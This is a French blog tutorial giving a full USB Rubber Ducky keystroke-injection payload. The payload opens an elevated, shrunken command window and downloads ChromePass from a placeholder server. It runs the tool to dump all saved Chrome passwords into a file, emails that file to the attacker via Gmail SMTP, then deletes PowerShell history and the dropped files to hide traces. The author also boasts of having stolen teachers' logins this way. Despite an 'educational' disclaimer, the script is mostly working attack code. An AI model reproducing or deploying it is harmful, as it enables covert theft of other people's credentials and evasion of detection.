USB Rubber Ducky : ChromePass, notre ami

Date de publication: 02/11/2016

ATTENTION: Je ne suis en aucun cas responsable de vos actes. Cet article est purement à but informatif et éducatif. Merci. Salut à tous et à toutes, bande de geeks! Cela fait maintenant plus d'un mois que certains de mes lecteurs m'ont demandé s'il était possible de récupérer les mots de passe “enregistrés” dans Google Chrome (en cas de perte ou de panne, par exemple).

Aujourd'hui, je vais répondre à toutes les questions sur le sujet. Google Chrome mémorise les mots de passe “enregistrés” dans une base de données cryptée avec une clé différente à chaque utilisateur. Il n'est donc pas possible d'y accéder autrement que par l'interface graphique. Sur ce principe je me suis penché à créer un script pour mon Rubber Ducky qui:

Pourquoi? Parce que l'interface graphique ne permet d'afficher qu'un seul mot de passe à la fois! On ne peut donc en récupérer qu'un seul, pas très utile. Mais, je continue et développe le script tout de même. Après de nombreux tests, je me rends compte que le script met beaucoup de temps avant d'arriver à son terme (Eh oui, la joie du GUI <3). La performance du script ne me convenant pas, je décide de changer de tactique et de me pencher sur la ligne de commande. Des scripts Python trouvés en ligne utilisent SQLite pour dump la base de données pour ensuite cracker les mots de passe. C'est déjà mieux, mais encore vachement long. Au fil de mes recherches, je tombe sur un logiciel qui m'est familier: ChromePass.exe.

Oh oui! Je me souviens de celui-là! C'est le programme qui m'avait permis de récupérer les logins des profs au Lycée! Ah… La bonne époque… Arrêtons de digresser et intéressons-nous à ce logiciel.

ChromePass.exe est un simple exécutable qui va dump tous les logins de Google Chrome, y compris les URL, la structure des données, les noms d'utilisateurs et la date. MAIS QUE DEMANDE LE PEUPLE !? Pour être franc avec vous, je n'ai pas trouvé de doc au sujet de ChromePass, donc je ne sais pas exactement comment il fonctionne. Mais il marche, et très vite en plus! Un simple double-clic sur l’exécutable et tous les logins apparaissent comme par magie dans la fenêtre de ChromePass.

Hé Tom, il doit forcément y avoir moyen d’accélérer le processus en utilisant la ligne de commande! *Tend la main pour un High Five*

*High Five* Oui tu as tout à fait raison! Sur la page de téléchargement de ChromePass, il est bien précisé que des tas d'arguments peuvent être fournis! Super!

capture-du-2016-11-02-11-43-23

Mais après tous les tests du monde, je me rends compte que les options ne marchent pas… Pourquoi? Je n'en sais vraiment rien… Dommage, mais ne nous laissons pas abattre par ce contre-temps. Le logiciel est bien assez rapide pour pouvoir se passer de lignes de commandes. Voici donc l'algorigramme de notre futur Payload:

Dans les articles précédents nous avons déjà abordé la plupart de ces manipulations, mais je vais vous montrer une autre méthode pour télécharger un fichier. Commençons par lancer l'invite de commande (En Administrateur):

DELAY 2000
GUI r
DELAY 300
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 5000
LEFT
ENTER
DELAY 1000

On rend la fenêtre de commande plus petite et plus discrète:

STRING mode con:cols=18 lines=1
ENTER
DELAY 200

Ensuite, vient la partie du téléchargement. Nous allons ici utiliser la méthode Invoke-WebRequest de Powershell, qui envoie une simple requête web GET à un serveur donné.

REM On se positionne dans un répertoire neutre
STRING cd %userprofile%
ENTER
REM On lance powershell
STRING powershell
ENTER
DELAY 3000
REM Variable contenant l'adresse de ChromePass
STRING $source = "https://VotreServeur/ChromePass.exe"
ENTER
REM Variable indiquant le nom de l’exécutable après téléchargement
STRING $destination = "pass.exe"
ENTER
REM Et on télécharge! 
STRING Invoke-WebRequest $source -OutFile $destination
ENTER
DELAY 3000
```Maintenant que nous avons ChromePass sous le nom de "pass.exe". Il ne reste plus qu'à l'éxécuter:```
STRING start-process pass.exe
ENTER
DELAY 1000
```J'ai mis un delai de 1 seconde pour attendre que ChromePass se lance tranquillement. Sélectionnons à présent tous les mots de passe et enregistrons-les:```
REM On selectionne tout
CTRL a
REM On sauvegarde la selection
CTRL s
DELAY 2000
REM On donne un nom au fichier contenant les mdp
STRING pass.txt
DELAY 100
REM On se déplace sur le champ du dossier où va être enregistré le fichier
TAB
TAB
TAB
TAB
TAB
TAB
ENTER
REM On choisi un dossier neutre
STRING %userprofile%
ENTER
DELAY 200
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB
REM On valide!
ENTER
DELAY 300
REM On ferme ChromePass
ALT F4

Nous avons maintenant un fichier pass.txt contenant tous les mots de passe. Il ne reste plus qu'à nous les envoyer par mail!

STRING $SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('VotreMail@gmail.com', 'VotrePass')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'VotreMail@gmail.com'
ENTER
STRING $ReportEmail.To.Add('VotreMail@gmail.com')
ENTER
STRING $ReportEmail.Subject = 'Chrome Pass'
ENTER
STRING $ReportEmail.Body = (Get-Content pass.txt | out-string)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER

Le mail est envoyé. Il ne reste plus qu'à effacer toutes traces de notre présence!

REM Autre moyen de supprimer l'historique Powershell
STRING Remove-Item (Get-PSReadlineOption).HistorySavePath
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 500
STRING del pass.txt
ENTER
STRING del pass.exe
ENTER
STRING del pass.cfg
ENTER
STRING exit
ENTER

Fini ! Vous êtes encore là ? Ah, je croyais vous avoir perdu :p

Ce Payload peut encore être amélioré, mais j'ai préféré garder des délais plutôt longs pour être sûr qu'il se déroule correctement. Certains ordinateurs plus lents pourraient mettre plus de temps à lancer Powershell par exemple. Libre à vous de changer le temps d'attente.

Si ce tutoriel vous a plu, n'hésitez pas à le partager et à me le dire, ça fait toujours ultra plaisir! En attendant je vous donne rendez-vous à la prochaine. En n'oubliez pas, Stay Tuned! :D